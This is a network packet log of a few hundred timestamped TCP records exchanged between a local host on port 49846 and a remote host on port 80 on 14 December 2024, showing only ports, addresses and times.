Dec 14, 2024 14:56:18.484677076 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.484751940 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.484805107 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.485838890 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.485893011 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.485944986 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.486016989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.487061977 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.487128019 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.487149000 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.487191916 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.488157988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.488225937 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.488317013 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.488369942 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.489346981 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.489454031 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.489470959 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.489526033 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.490591049 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.490642071 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.490686893 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.490736961 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.491740942 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.491832018 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.491852999 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.491909027 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.492942095 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.492993116 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.493130922 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.493216038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.494131088 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.494204998 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.494251013 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.494313955 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.495330095 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.495381117 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.495431900 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.495485067 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.496534109 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.496618032 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.496660948 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.496702909 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.497750044 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.497800112 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.497844934 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.497900963 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.498898029 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.498960972 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.499041080 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.499095917 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.500089884 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.500169992 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.500221968 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.500271082 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.501271009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.501321077 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.501375914 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.501422882 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.502540112 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.502592087 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.502638102 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.502686977 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.503724098 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.503774881 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.503818989 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.503863096 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.504915953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.504933119 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.504976988 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.504976988 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.506069899 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.506122112 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.506175995 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.506319046 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.507253885 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.507324934 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.507347107 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.507396936 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.508441925 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.508492947 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.508553028 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.508600950 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.509655952 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.509756088 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.509783983 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.509815931 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.510842085 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.510922909 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.510979891 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.512023926 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.512072086 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.512145996 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.512192965 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.513217926 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.513267994 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.513360023 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.513413906 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.514482021 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.514558077 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.514647961 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.514703989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.515613079 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.515665054 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.515716076 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.515764952 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.516834974 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.516890049 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.516905069 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.517016888 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.518012047 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.518064022 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.518073082 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.518146992 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.519166946 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.519227028 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.519283056 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.519350052 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.520368099 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.520411968 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.520430088 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.520471096 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.521584988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.521682024 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.521722078 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.521764040 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.522758961 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.522810936 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.522893906 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.522937059 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.523968935 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.524045944 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.524082899 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.524142981 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.525137901 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.525188923 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.525187969 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.525243998 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.526329041 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.526377916 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.526422024 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.526479959 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.527518034 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.527587891 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.527643919 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.527709961 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.528704882 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.528752089 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.528798103 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.528855085 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.661009073 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.661026001 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.661040068 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.661052942 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.661082029 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.661115885 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.661278009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.661326885 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.661973953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.662024021 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.662657022 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.662753105 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.662826061 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.662852049 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.662874937 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.662906885 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.663897038 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.663965940 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.664231062 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.664294958 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.664952040 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.665003061 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.665096045 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.665153027 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.666155100 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.666208029 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.666400909 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.666448116 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.667339087 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.667398930 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.667448044 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.667541027 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.668534040 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.668593884 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.668648958 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.668703079 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.669708967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.669764996 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.669833899 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.669887066 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.670948029 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.671063900 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.671112061 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.672081947 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.672135115 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.672245026 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.672418118 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.673317909 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.673372984 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.673471928 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.673532009 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.674452066 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.674496889 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.674587965 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.674643040 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.675661087 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.675713062 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.675791979 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.675843954 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.676906109 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.676964998 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.677037954 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.677093983 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.678098917 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.678159952 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.678208113 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.678267956 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.679335117 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.679389000 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.679472923 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.679517984 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.680464983 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.680597067 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.680680037 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.683933020 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.683948040 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.683962107 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.683976889 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.683993101 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.684006929 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.684039116 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.684221029 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.684293985 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.686207056 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.686326027 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.686376095 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.686427116 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.687463999 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.687525034 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.687612057 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.687669992 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.687844038 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.687859058 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.687892914 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.687925100 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.688857079 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.688909054 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.689001083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.689114094 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.690187931 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.690246105 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.690362930 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.690696955 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.691251040 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.691308022 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.691425085 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.691509008 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.692445040 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.692549944 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.692600012 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.692650080 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.693634033 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.693696976 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.693798065 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.693845987 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.694864035 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.694927931 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.695040941 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.695105076 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.696048975 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.696120977 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.696405888 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.696455002 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.697273016 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.697295904 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.697329998 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.697361946 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.698482037 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.698533058 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.698652983 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.698704958 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.699626923 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.699641943 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.699687958 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.700834990 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.700850964 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.700898886 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.702222109 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.702275038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.702403069 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.702450037 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.703290939 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.703305960 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.703355074 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.703355074 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.704432964 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.704447985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.704483986 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.704516888 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.705459118 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.705512047 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.705651045 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.705698013 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.706728935 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.706744909 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.706784010 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.706784010 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.707920074 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.707947016 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.707982063 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.707982063 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.709100962 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.709150076 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.709163904 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.709223032 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.710261106 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.710355043 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.710428953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.710477114 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.711512089 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.711565018 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.711679935 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.711729050 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.712629080 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.712685108 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.712799072 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.712850094 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.713777065 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.713830948 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.714092016 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.714143991 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.715015888 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.715073109 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.715192080 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.715243101 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.716279984 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.716330051 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.716451883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.716522932 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.717457056 CET	80	49846	31.41.244.11	192.168.2.5
